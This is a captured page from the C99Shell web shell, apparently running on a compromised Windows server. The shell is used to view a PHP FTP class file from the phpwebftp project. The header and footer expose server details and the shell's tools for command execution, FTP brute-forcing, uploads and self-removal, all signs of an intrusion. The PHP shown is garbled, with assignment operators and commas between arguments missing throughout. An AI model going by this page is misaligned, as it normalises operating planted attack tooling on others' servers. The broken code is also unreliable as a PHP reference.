!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\contrib\ptf\phpwebftp\include\   drwxrwxrwx
Free 7.95 GB of 239.26 GB (3.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ftp.class.php (8.69 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/** FTP class is designed to work with FTP Connections
@author Edwin van Wijk, www.v-wijk.net
@email info@vwijk.net
*/

class ftp {
    
/** FTP server */
    
var $server="";
    
/** FTP server port */
    
var $port=21;
    
/** FTP user */
    
var $user="";
    
/** User specific directory (for zip and download) */
    
var $userDir="";
    
/** password */
    
var $password "";
    
/** FTP connection */
    
var $connection "";
    
/** Passive FTP connection */
    
var $passive false;
    
/** Type of FTP server (UNIX, Windows, ...) */
    
var $systype "";
    
/** Binary (1) or ASCII (0) mode */
    
var $mode 0;
    
/** Logon indicator */
    
var $loggedOn false;
    
/** resume broken downloads */
    
var $resumeDownload false;
    
/** temporary download directory on local server */
    
var $downloadDir "";

    
/**    constructor
    @param none
    Set FTP settings and logon to the server
    */
    
function ftp($server$port$user$password$passive=false){
        
$this->server $server;
        
$this->port $port;
        
$this->user $user;
        
$this->userDir $user "_tmp";
        
$this->password $password;

        
// connect to server
        
$this->connect();

        
// switch to passivemode(?)
        
$this->setPassive($passive);
    }

    
/** connect to a ftp server */
    
function connect() {
        
$this->connection = @ftp_connect($this->server$this->port);
        
$this->loggedOn = @ftp_login($this->connection$this->user$this->password);
        
$this->systype = @ftp_systype($this->connection);
        return;
    }

    
/** set passive connection */
    
function setPassive($passive) {
        
$this->passive=$passive;
        @
ftp_pasv($this->connection$this->passive);
        return;
    }

    
/** Set transfermode */
    
function setMode($mode=1) {
        
$this->mode $mode;
        return;
    }

    
/** set and goto current directory on ftp server */
    
function setCurrentDir($dir=false) {
        if (
$dir==true)
        {
            
ftp_chdir($this->connection$dir);
        }
        
$this->currentDir ftp_pwd($this->connection);
        return 
$this->currentDir;
    }

    function 
getCurrentDirectoryShort() {
        
$string $this->currentDir;
        
$stringArray split("/",$string);
        
$level count($stringArray);
        
$returnString $stringArray[$level-1];
        if(
trim($returnString)=="") {
            
$returnString "/";
        }
        return 
$returnString;
    }

    function 
setDownloadDir($dir) {
        
$this->downloadDir $dir;
        return;
    }

    function 
setResumeDownload($resume) {
        
$this->resumeDownload $resume;
        return;
    }

    function 
chmod($permissions$file) {
        return @
ftp_site($this->connection"chmod $permissions $file");
    }

    function 
cd($directory) {
        if (
$directory=="..") {
            @
ftp_cdup($this->connection);
        } else {
            if(!@
ftp_chdir($this->connection$this->currentDir $directory)) {
                @
ftp_chdir($this->connection$directory); // Symbolic link directory 
            
}
        }
        
$this->currentDir=ftp_pwd($this->connection);;
        return;
    }

    
/* get file from ftp server */
    
function get($file,$destination) {
        if(
$destination == ""){
            
$destination $this->downloadDir;
        }
        
$ok=true;
        if(
$this->resumeDownload) {
            
$fp fopen($destination $file"a+");
            
$ok ftp_fget($this->connection,$fp,"$file",$this->modefilesize($destination $file));
        } else {
            
$fp fopen($destination $file"w");
            
$ok ftp_fget($this->connection,$fp,"$file",$this->mode);
        }
        
fclose($fp);
        return 
$ok;
    }

    
/* put file to ftp server */
    
function put($remoteFile,$localFile) {
        
$ok=false;
        if(
file_exists($localFile)) {
            
ftp_put($this->connection$remoteFile$localFile$this->mode);
            
$ok=true;
        }
        return 
$ok;
    }

    
/* Download file from server and send it to the browser */
    
function download($file) {
        if(
$this->get($file)) {
            
//Send header to browser to receive a file
            
header("Content-disposition: attachment; filename=\"$file\"");
            
header("Content-type: application/octetstream");
            
header("Pragma: ");
            
header("Cache-Control: cache");
            
header("Expires: 0");
            
$data readfile($this->downloadDir $file);
            
$i=0;
            while (
$data[$i] != "")
            {
                
$fileStream .= $data[$i];
                
$i++;
            }
            
unlink($this->downloadDir $file);
            echo 
$fileStream;
            exit;
        } else {
            return 
false;
        }
    }
    
    function 
upload($uploadFile) {
        
$tempFileName $uploadFile['tmp_name'];
        
$fileName $uploadFile['name'];
        return 
$this->put($this->currentDir "/" filePart(StripSlashes($fileName)), $tempFileName);
    }

    function 
deleteFile($file) {
        return @
ftp_delete($this->connection"$file");
    }


    function 
deleteRecursive($baseDirectory,$file){
        if (
$fileList = @ftp_nlist($this->connection"$baseDirectory/$file")){
            for (
$x=0;$x<count($fileList);$x++){
                if (
$fileList[$x] != '.' && $fileList[$x] != '..' && !@ftp_delete($this->connection$fileList[$x]))
                    
deleteRecursive($baseDirectory."/$file",$fileList[$x]);
            }
            @
ftp_rmdir($this->connection"$baseDirectory/$file");
         } else {
            @
ftp_rmdir($this->connection"$baseDirectory/$file");
         }
    }

    function 
rename($old$new) {
        return @
ftp_rename($this->connection"$old""$new");
    }

    function 
makeDir($directory) {
        return @
ftp_mkdir($this->connection"$directory");
    }

    function 
getRecursive($baseDir,$file){
        
$files $this->ftpRawList($baseDir "/$file");

        for (
$x=0;$x<count($files);$x++){
            if (
$files[$x]["name"] != '.' or $files[$x]["name"] != '..') {
                
$downloadLocation $this->downloadDir  ereg_replace($this->currentDir."/",$this->userDir."/",$baseDir "/$file/");
                
$downloadLocation ereg_replace("//","/",$downloadLocation);
                
$ftpFileDir ereg_replace($this->currentDir "/","",$baseDir "/$file/");
                
//print $downloadLocation . "(" . $baseDir . "/$file/" . ")<br>";
                
mkdir($downloadLocation);

                if (
$files[$x]["is_dir"]==1)
                {
                    
$this->getRecursive($baseDir "/$file/",$files[$x]["name"]);
                } else {
                    
$localFile $this->downloadDir $this->userDir "/" ereg_replace($this->currentDir "/","",$baseDir "/$file/") . $files[$x]["name"];;
                    
$remoteFile $baseDir "/" $file "/" $files[$x]["name"];
                    
                    if(
$this->resumeDownload) {
                        
$fp fopen($localFile"a+");
                        
$ok ftp_fget($this->connection,$fp,"$remoteFile",$this->modefilesize($localFile));
                    } else {
                        
$fp fopen($localFile"w");
                        
$ok ftp_fget($this->connection,$fp,"$remoteFile",$this->mode);
                    }
                    
fclose($fp);
                }
            }
        }
    }


    function 
ftpRawList($directory) {
        if(
$directory=="") {
            
$directory $this->currentDir;
        }
        
$list=Array();
        
$list ftp_rawlist($this->connection"-a " $directory);
        if (
$this->systype == "UNIX")
        {
            
//$regexp = "([-ldrwxs]{10})[ ]+([0-9]+)[ ]+([A-Z|0-9|-]+)[ ]+([A-Z|0-9|-]+)[ ]+([0-9]+)[ ]+([A-Z]{3}[ ]+[0-9]{1,2}[ ]+[0-9|:]{4,5})[ ]+(.*)";
            //$regexp = "([-ldrwxs]{10})[ ]+([0-9]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([0-9]+)[ ]+([A-Z]{3}[ ]+[0-9]{1,2}[ ]+[0-9|:]{4,5})[ ]+(.*)";
            
$regexp "([-ltdrwxs]{10})[ ]+([0-9]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([A-Z|0-9|-|_]+)[ ]+([0-9]+)[ ]+([A-Z]{3}[ ]+[0-9]{1,2}[ ]+[0-9|:]{4,5})[ ]+(.*)";
            
$i=0;
            foreach (
$list as $line
            {
                
$is_dir $is_link FALSE;
                
$target "";

                if (
eregi($regexp$line$regs))
                {
                    if (!
eregi("^[.]"$regs[7])) //hide hidden files
                    
if (!eregi("^[.]{2}"$regs[7])) // don't hide hidden files
                    
{
                        
$i++;
                        if (
eregi("^[d]"$regs[1]))
                        {
                            
$is_dir TRUE;
                        }
                        elseif (
eregi("^[l]"$regs[1])) 
                        { 
                            
$is_link TRUE;
                            list(
$regs[7], $target) = split(" -> "$regs[7]);
                        }

                        
//Get extension from file name
                        
$regs_ex explode(".",$regs[7]);
                        if ((!
$is_dir)&&(count($regs_ex) > 1))
                           
$extension $regs_ex[count($regs_ex)-1];
                        else 
$extension "";

                        
$files[$i] = array (
                        
"is_dir"    => $is_dir,
                        
"extension"    => $extension,
                        
"name"        => $regs[7],
                        
"perms"        => $regs[1],
                        
"num"        => $regs[2],
                        
"user"        => $regs[3],
                        
"group"        => $regs[4],
                        
"size"        => $regs[5],
                        
"date"        => $regs[6],
                        
"is_link"    => $is_link,
                        
"target"    => $target );                        
                    }
                }
            }
        }
        else
        {
            
$regexp "([0-9\-]{8})[ ]+([0-9:]{5}[APM]{2})[ ]+([0-9|<DIR>]+)[ ]+(.*)";
            foreach (
$list as $line
            {
                
$is_dir false;
                if (
eregi($regexp$line$regs)) 
                {
                    if (!
eregi("^[.]"$regs[4]))
                    {
                        if(
$regs[3] == "<DIR>")
                        {
                            
$is_dir true;
                            
$regs[3] = '';
                        }
                        
$i++;
    
                        
// Get extension from filename
                        
$regs_ex explode(".",$regs[4]);
                        if ((!
$is_dir)&&(count($regs_ex) > 1))
                           
$extension $regs_ex[count($regs_ex)-1];
                        else 
$extension "";

                        
$files[$i] = array (
                            
"is_dir"    => $is_dir,
                            
"extension"    => $extension,
                            
"name"        => $regs[4],
                            
"date"        => $regs[1],
                            
"time"        => $regs[2],
                            
"size"        => $regs[3],
                            
"is_link"    => 0,
                            
"target"    => "",
                            
"num"        => "" );
                    }
                }
            }
        }
        if ( 
is_array($files)  AND count($files) > 0)
        {
            
$files=array_sort_multi($files13);
        }
        return 
$files;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--